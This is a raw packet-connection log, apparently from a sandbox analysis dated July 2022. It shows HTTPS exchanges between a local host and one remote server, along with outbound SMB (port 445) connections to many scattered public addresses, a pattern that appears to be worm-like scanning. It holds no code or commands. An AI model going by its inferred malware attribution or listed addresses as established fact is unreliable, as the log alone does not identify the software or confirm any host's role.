Jul 20, 2022 15:44:17.657373905 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.657387972 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.657444000 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.657849073 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.657891035 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.657953024 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.657973051 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658011913 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658031940 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658158064 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658196926 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658227921 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658253908 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658277035 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658328056 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658360958 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658376932 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658416033 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658488989 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658519030 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658565044 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658572912 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658616066 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658616066 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658648014 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658655882 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.658696890 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658734083 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.658973932 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659010887 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659077883 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659096956 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659172058 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659179926 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659216881 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659305096 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659389973 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659419060 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659485102 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659499884 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659518957 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659558058 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659744978 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659775972 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659848928 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659864902 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.659888983 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.659912109 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660110950 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660135984 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660223961 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660243034 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660298109 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660393953 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660422087 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660491943 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660502911 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660531998 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660552979 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.660904884 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.660943985 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661006927 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661021948 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661062956 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661086082 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661137104 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661165953 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661216974 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661236048 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661258936 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661283970 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661328077 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661360025 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661408901 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661417961 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661458015 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661468983 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661494017 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661549091 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661658049 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661696911 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661716938 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661761999 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661782980 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.661830902 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661885023 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661890984 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.661974907 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662014008 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662086964 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662105083 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662137032 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662167072 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662173033 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662261009 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662337065 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662362099 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662436962 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662452936 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662477970 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662504911 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.662667990 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.662884951 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663021088 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663049936 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663116932 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663142920 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663147926 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663165092 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663168907 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663177967 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663254023 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663270950 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663302898 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663309097 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663342953 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.663574934 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663609982 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663750887 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663784981 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.663877010 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664453030 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664505959 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664716005 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664733887 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664752960 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664757967 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664778948 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664794922 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664827108 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664828062 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664871931 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664881945 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664905071 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664916039 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.664937973 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664946079 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.664952040 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665024996 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665071964 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665117025 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665139914 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665184975 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665193081 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665205002 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665261030 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665306091 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665388107 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665424109 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665492058 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665508986 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665534973 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665556908 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665560007 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665585041 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665642977 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665662050 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665676117 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665707111 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665730953 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665829897 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665853024 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665921926 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.665932894 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.665982962 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.666372061 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.666469097 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.666527987 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.666567087 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.666656017 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.666671038 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.666723013 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.667284012 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.667612076 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.667800903 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.667931080 CEST	50788	445	192.168.2.7	37.199.186.56
Jul 20, 2022 15:44:17.667964935 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.667998075 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.668128014 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.668561935 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.668565035 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.668684006 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.668713093 CEST	50789	445	192.168.2.7	83.179.66.232
Jul 20, 2022 15:44:17.668718100 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.669322968 CEST	50790	445	192.168.2.7	71.167.148.221
Jul 20, 2022 15:44:17.669415951 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.669430971 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.669481993 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.670005083 CEST	50791	445	192.168.2.7	154.59.227.191
Jul 20, 2022 15:44:17.670162916 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.670201063 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.670681000 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.670697927 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.670737028 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.670747995 CEST	50792	445	192.168.2.7	70.196.26.2
Jul 20, 2022 15:44:17.670773983 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.670882940 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.670891047 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.671029091 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.671199083 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.671238899 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.671298027 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.671482086 CEST	50793	445	192.168.2.7	201.37.25.121
Jul 20, 2022 15:44:17.671778917 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.672235966 CEST	50794	445	192.168.2.7	214.147.26.213
Jul 20, 2022 15:44:17.673459053 CEST	50795	445	192.168.2.7	142.12.202.73
Jul 20, 2022 15:44:17.674195051 CEST	50796	445	192.168.2.7	48.28.149.135
Jul 20, 2022 15:44:17.675051928 CEST	50797	445	192.168.2.7	39.133.201.55
Jul 20, 2022 15:44:17.675793886 CEST	50798	445	192.168.2.7	46.196.248.56
Jul 20, 2022 15:44:17.676491976 CEST	50799	445	192.168.2.7	113.146.202.75
Jul 20, 2022 15:44:17.676717043 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.676830053 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.677802086 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.677833080 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.677947998 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.677970886 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.678025961 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.678627968 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.678673029 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.678745031 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.678760052 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.678788900 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.678812027 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.679764986 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.679790020 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.679903030 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.679923058 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.679975986 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.680423021 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.680516005 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.681282997 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681329012 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681401014 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.681417942 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681463003 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.681487083 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.681833029 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681839943 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681865931 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.681962013 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.681982994 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682013035 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682017088 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682256937 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682284117 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682302952 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682315111 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682327986 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682394981 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682478905 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682516098 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682560921 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682568073 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682600975 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682625055 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682807922 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682893991 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.682909966 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.682962894 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.683558941 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683650970 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.683708906 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683756113 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683810949 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.683820963 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683851957 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.683872938 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683887959 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.683892965 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.683948040 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.684767008 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.684806108 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.684912920 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.684923887 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.685898066 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.685935020 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.685956955 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.685965061 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.685997009 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.686058044 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.686095953 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.686172962 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.700313091 CEST	50800	445	192.168.2.7	9.106.199.145
Jul 20, 2022 15:44:17.700481892 CEST	50801	445	192.168.2.7	151.49.29.140
Jul 20, 2022 15:44:17.700608969 CEST	50802	445	192.168.2.7	84.136.125.93
Jul 20, 2022 15:44:17.700773001 CEST	50803	445	192.168.2.7	142.213.60.12
Jul 20, 2022 15:44:17.700891972 CEST	50804	445	192.168.2.7	74.8.166.231
Jul 20, 2022 15:44:17.701122046 CEST	50805	445	192.168.2.7	197.241.226.205
Jul 20, 2022 15:44:17.790883064 CEST	50806	445	192.168.2.7	132.201.11.54
Jul 20, 2022 15:44:17.854011059 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.854036093 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.854125023 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.856168985 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.856983900 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.857008934 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.872520924 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.872725010 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.876509905 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.876593113 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.888200045 CEST	50807	445	192.168.2.7	203.129.226.56
Jul 20, 2022 15:44:17.892498970 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.892580986 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.084518909 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.084628105 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.089323044 CEST	50808	445	192.168.2.7	151.60.69.79
Jul 20, 2022 15:44:18.090569973 CEST	50809	445	192.168.2.7	109.129.238.138
Jul 20, 2022 15:44:18.091631889 CEST	50810	445	192.168.2.7	123.140.55.98
Jul 20, 2022 15:44:18.092533112 CEST	50811	445	192.168.2.7	217.48.204.201
Jul 20, 2022 15:44:18.097229958 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097264051 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097281933 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097394943 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097405910 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097423077 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097553968 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097569942 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097584963 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097599983 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097685099 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097700119 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097714901 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097744942 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097757101 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097871065 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.097886086 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097901106 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.097914934 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098016977 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.098027945 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098047018 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098109961 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098171949 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.098186970 CEST	443	50753	80.67.82.211	192.168.2.7
